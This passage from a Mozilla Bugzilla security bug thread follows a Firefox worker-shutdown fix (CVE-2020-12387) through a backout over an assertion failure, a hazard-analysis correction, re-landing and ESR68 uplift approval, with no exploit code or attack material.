We assume they will identify security patches since the check-in comment will have a bug reference that's not accessible, or suspiciously omit the bug number. The latter is bad for us in the future ("why is this here?") so please do put in the bug number.

sec-approval+

Landed: https://hg.mozilla.org/integration/autoland/rev/e608cbaf20d451fe0dd63e778ffa3f9408b8c43d

Backed out for assertion failures on WorkerPrivate.cpp:

https://hg.mozilla.org/integration/autoland/rev/a2d6508940de2b5cea50e409f6d00ee57711938c

Push with failures: https://treeherder.mozilla.org/#/jobs?repo=autoland&group_state=expanded&resultStatus=testfailed%2Cbusted%2Cexception%2Cretry%2Cusercancel%2Crunnable&revision=e608cbaf20d451fe0dd63e778ffa3f9408b8c43d&selectedJob=295001539
Failure log: https://treeherder.mozilla.org/logviewer.html#?job_id=295001539&repo=autoland

devtools/client/aboutdebugging/test/browser/browser_aboutdebugging_devtoolstoolbox_reload.js

[task 2020-03-27T05:39:54.830Z] 05:39:54 INFO - GECKO(3816) | Assertion failure: mSyncLoopStack.IsEmpty(), at /builds/worker/checkouts/gecko/dom/workers/WorkerPrivate.cpp:3512
[task 2020-03-27T05:39:54.910Z] 05:39:54 INFO - GECKO(3816) | #01: mozilla::dom::WorkerPrivate::DestroySyncLoop(unsigned int) [dom/workers/WorkerPrivate.cpp:3931]
[task 2020-03-27T05:39:54.910Z] 05:39:54 INFO -
[task 2020-03-27T05:39:54.911Z] 05:39:54 INFO - GECKO(3816) | #02: mozilla::dom::WorkerPrivate::RunCurrentSyncLoop() [dom/workers/WorkerPrivate.cpp:3905]
[task 2020-03-27T05:39:54.911Z] 05:39:54 INFO -
[task 2020-03-27T05:39:54.913Z] 05:39:54 INFO - GECKO(3816) | #03: mozilla::dom::anonymous namespace'::LoadAllScripts(mozilla::dom::WorkerPrivate*, mozilla::UniquePtr<mozilla::dom::SerializedStackHolder,mozilla::DefaultDelete<mozilla::dom::SerializedStackHolder> >, nsTArray<mozilla::dom::(anonymous namespace)::ScriptLoadInfo>&, bool, mozilla::dom::WorkerScriptType, mozilla::ErrorResult&) [dom/workers/ScriptLoader.cpp:2242] [task 2020-03-27T05:39:54.914Z] 05:39:54 INFO - [task 2020-03-27T05:39:54.914Z] 05:39:54 INFO - GECKO(3816) | #04: mozilla::dom::workerinternals::LoadMainScript(mozilla::dom::WorkerPrivate*, mozilla::UniquePtr<mozilla::dom::SerializedStackHolder,mozilla::DefaultDelete<mozilla::dom::SerializedStackHolder> >, nsTSubstring<char16_t> const&, mozilla::dom::WorkerScriptType, mozilla::ErrorResult&) [dom/workers/ScriptLoader.cpp:2349] [task 2020-03-27T05:39:54.914Z] 05:39:54 INFO - [task 2020-03-27T05:39:54.914Z] 05:39:54 INFO - GECKO(3816) | #05: mozilla::dom::anonymous namespace'::CompileScriptRunnable::WorkerRun(JSContext*, mozilla::dom::WorkerPrivate*) [dom/workers/WorkerPrivate.cpp:343]
[task 2020-03-27T05:39:54.914Z] 05:39:54 INFO -
[task 2020-03-27T05:39:54.914Z] 05:39:54 INFO - GECKO(3816) | #06: mozilla::dom::WorkerRunnable::Run() [dom/workers/WorkerRunnable.cpp:371]
[task 2020-03-27T05:39:54.914Z] 05:39:54 INFO -
[task 2020-03-27T05:39:54.916Z] 05:39:54 INFO - GECKO(3816) | #07: nsThread::ProcessNextEvent(bool, bool*) [xpcom/threads/nsThread.cpp:1222]
[task 2020-03-27T05:39:54.916Z] 05:39:54 INFO -
[task 2020-03-27T05:39:54.916Z] 05:39:54 INFO - GECKO(3816) | #08: NS_ProcessNextEvent(nsIThread*, bool) [xpcom/threads/nsThreadUtils.cpp:481]
[task 2020-03-27T05:39:54.916Z] 05:39:54 INFO -
[task 2020-03-27T05:39:54.916Z] 05:39:54 INFO - GECKO(3816) | #09: mozilla::dom::WorkerPrivate::DoRunLoop(JSContext*) [dom/workers/WorkerPrivate.cpp:2912]
[task 2020-03-27T05:39:54.916Z] 05:39:54 INFO -
[task 2020-03-27T05:39:54.916Z] 05:39:54 INFO - GECKO(3816) | #10: mozilla::dom::workerinternals::`anonymous namespace'::WorkerThreadPrimaryRunnable::Run() [dom/workers/RuntimeService.cpp:2301]
[task 2020-03-27T05:39:54.916Z] 05:39:54 INFO -
[task 2020-03-27T05:39:54.916Z] 05:39:54 INFO - GECKO(3816) | #11: nsThread::ProcessNextEvent(bool, bool*) [xpcom/threads/nsThread.cpp:1222]
[task 2020-03-27T05:39:54.916Z] 05:39:54 INFO -
[task 2020-03-27T05:39:54.917Z] 05:39:54 INFO - GECKO(3816) | #12: NS_ProcessNextEvent(nsIThread*, bool) [xpcom/threads/nsThreadUtils.cpp:481]
[task 2020-03-27T05:39:54.917Z] 05:39:54 INFO -
[task 2020-03-27T05:39:54.918Z] 05:39:54 INFO - GECKO(3816) | #13: mozilla::ipc::MessagePumpForNonMainThreads::Run(base::MessagePump::Delegate*) [ipc/glue/MessagePump.cpp:332]
[task 2020-03-27T05:39:54.918Z] 05:39:54 INFO -
[task 2020-03-27T05:39:54.918Z] 05:39:54 INFO - GECKO(3816) | #14: MessageLoop::RunInternal() [ipc/chromium/src/base/message_loop.cc:315]
[task 2020-03-27T05:39:54.918Z] 05:39:54 INFO -
[task 2020-03-27T05:39:54.918Z] 05:39:54 INFO - GECKO(3816) | #15: MessageLoop::RunHandler() [ipc/chromium/src/base/message_loop.cc:309]
[task 2020-03-27T05:39:54.918Z] 05:39:54 INFO -
[task 2020-03-27T05:39:54.919Z] 05:39:54 INFO - GECKO(3816) | #16: MessageLoop::Run() [ipc/chromium/src/base/message_loop.cc:291]
[task 2020-03-27T05:39:54.919Z] 05:39:54 INFO -
[task 2020-03-27T05:39:54.919Z] 05:39:54 INFO - GECKO(3816) | #17: static nsThread::ThreadFunc(void*) [xpcom/threads/nsThread.cpp:466]
[task 2020-03-27T05:39:54.919Z] 05:39:54 INFO -
[task 2020-03-27T05:39:55.528Z] 05:39:55 INFO - GECKO(3816) | #18: _PR_NativeRunThread(void*) [nsprpub/pr/src/threads/combined/pruthr.c:399]
[task 2020-03-27T05:39:55.528Z] 05:39:55 INFO -
[task 2020-03-27T05:39:55.531Z] 05:39:55 INFO - GECKO(3816) | #19: pr_root(void*) [nsprpub/pr/src/md/windows/w95thred.c:139]
[task 2020-03-27T05:39:55.531Z] 05:39:55 INFO -
[task 2020-03-27T05:39:55.534Z] 05:39:55 INFO - GECKO(3816) | #20: ucrtbase.DLL + 0x3e16f
[task 2020-03-27T05:39:55.534Z] 05:39:55 INFO -
[task 2020-03-27T05:39:55.534Z] 05:39:55 INFO - GECKO(3816) | #21: kernel32.dll + 0x4ef3c
[task 2020-03-27T05:39:55.534Z] 05:39:55 INFO -
[task 2020-03-27T05:39:55.534Z] 05:39:55 INFO - GECKO(3816) | #22: ntdll.dll + 0x63618
[task 2020-03-27T05:39:55.534Z] 05:39:55 INFO -
[task 2020-03-27T05:39:55.534Z] 05:39:55 INFO - GECKO(3816) | #23: ntdll.dll + 0x635eb

Flags: needinfo?(bugmail)

My local test matrix was primarily using ASAN for most directories, missing the fact that normal MOZ_ASSERTs will not fire in that case although many other DEBUG-only things are run under ASAN. I've corrected the sanity-checking assertion locally and am locally re-running impacted tests under a full DEBUG build and will re-submit shortly.

Flags: needinfo?(bugmail)

I've consulted with :sfink on the hazard analysis which did not like the QueryInterface calls performed in https://searchfox.org/mozilla-central/rev/8526066f548af9ec3ebb462ff73c47ccc183f533/js/xpconnect/wrappers/WrapperFactory.cpp#843. This call previously didn't matter because the unrooted realCallback was not used beyond the call. But with the forbidden script check refactoring, it is.

Given the analytical issues involved, we've opted to go with rooting realCallback. Since the patch has already been rendered public already by the 2 bounced landings, I've pushed a hazard analysis job to try and will re-land assuming that comes back green:
https://treeherder.mozilla.org/#/jobs?repo=try&revision=e71b9e9ea2372febb5593034e1c0c0e30cb117d6

Flags: needinfo?(bugmail)

https://hg.mozilla.org/integration/autoland/rev/cb814ebff5a56845db97bbed1ef52b0c523661f1
https://hg.mozilla.org/mozilla-central/rev/cb814ebff5a5

Group: dom-core-security → core-security-release
Status: ASSIGNED → RESOLVED
Closed: 4 years ago
status-firefox76: affected → fixed
Resolution: --- → FIXED
Target Milestone: --- → mozilla76

(not urgent) Looks like this'll eventually need a rebased patch for ESR68.

tracking-firefox-esr68: ? → 76+
Flags: needinfo?(bugmail)
Flags: qe-verify+
Whiteboard: [post-critsmash-triage]

I am attempting to verify this fix, but I am having trouble creating the server correctly. Can you provide more detailed steps (or a tutorial that I could understand) on the server creation part? My skills stop at the creation of the Simple HTTP server. Thank you.

A number of other accidentally mitigating fixes have meant that the reproducing test cases haven't worked for a very long time. We're still pursuing fuzzer improvements to help provide confirmation of the fixes, but for now the fix can't be verified.

Flags: qe-verify+ → qe-verify-

Comment on attachment 9141601 [details]
Bug 1545345 - Improve worker shutdown on ESR68. r=baku,smaug

ESR Uplift Approval Request

  • If this is not a sec:{high,crit} bug, please state case for ESR consideration:
  • User impact if declined:
  • Fix Landed on Version:
  • Risk to taking this patch: Low
  • Why is the change risky/not risky? (and alternatives if risky): It seems to have not exploded anything on the branches it already landed on.
  • String or UUID changes made by this patch:
Flags: needinfo?(bugmail)
Attachment #9141601 - Flags: approval-mozilla-esr68?

Patch is now updated for ESR68 in that separate phabricator request. I did some local testing with a debug build and explicitly including the test that caused the initial landing bounce. I did not push to try. I requested the uplift approval in case that's desired.

Comment on attachment 9141601 [details]
Bug 1545345 - Improve worker shutdown on ESR68. r=baku,smaug

Approved for 68.8esr.

Attachment #9141601 - Flags: approval-mozilla-esr68? → approval-mozilla-esr68+
Whiteboard: [post-critsmash-triage] → [post-critsmash-triage][adv-main76+]
Whiteboard: [post-critsmash-triage][adv-main76+] → [post-critsmash-triage][adv-main76+][adv-ESR68.8+]
Attached file advisory.txt —
Alias: CVE-2020-12387
Regressions: 1649448
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: